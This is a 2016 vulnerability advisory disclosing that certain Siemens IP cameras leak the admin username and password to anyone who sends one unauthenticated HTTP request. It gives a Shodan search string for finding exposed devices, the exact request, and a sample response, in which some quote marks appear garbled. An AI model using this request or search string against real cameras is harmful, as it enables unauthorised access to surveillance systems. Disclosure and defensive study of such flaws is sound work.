Siemens IP-Camera Unauthenticated Remote Credential Disclosure
Posted on 18 August 2016
1. Advisory Information ======================================== Title : SIEMENS IP-Camera Unauthenticated Remote Credentials Disclosure Vendor Homepage : https://www.siemens.com Remotely Exploitable : Yes Versions Affected : x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235 Tested on Camera types : CVMS2025-IR, CCMS2025 (Camera type) Reference for CCMS2025 : https://w5.siemens.com/web/cz/cz/corporate/portal/home/produkty_a_sluzby/IBT/pozarni_a_bezpecnostni_systemy/cctv/ip_kamery/Documents/023_CCIS1425_A6V10333969_en.doc.pdf Vulnerability : Username / Password Disclosure (Critical/High) Shodan Dork : title:"SIEMENS IP-Camera" Date : 16/08/2016 Author : Yakir Wizman (https://www.linkedin.com/in/yakirwizman) 2. CREDIT ======================================== This vulnerability was identified during penetration test by Yakir Wizman. 3. Description ======================================== SIEMENS IP-Camera (CVMS2025-IR + CCMS2025) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser. 4. Proof-of-Concept: ======================================== Simply go to the following url: http://host:port/cgi-bin/readfile.cgi?query=ADMINID Should return some javascript variable which contain the credentials and other configuration vars: var Adm_ID="admin"; var Adm_Pass1=aadmina; var Adm_Pass2=aadmina; var Language=aena; var Logoff_Time="0"; Request: ---------- GET /cgi-bin/readfile.cgi?query=ADMINID HTTP/1.1 Host: host:port Connection: close Response: ---------- HTTP/1.0 200 OK Connection: close Content-type: text/html var Adm_ID="admin"; var Adm_Pass1=aadmina; var Adm_Pass2=aadmina; var Language=aena; var Logoff_Time="0"; Login @ http://host:port/cgi-bin/chklogin.cgi 5. SOLUTION ======================================== Contact the vendor for further information regarding the proper mitigation of this vulnerability.
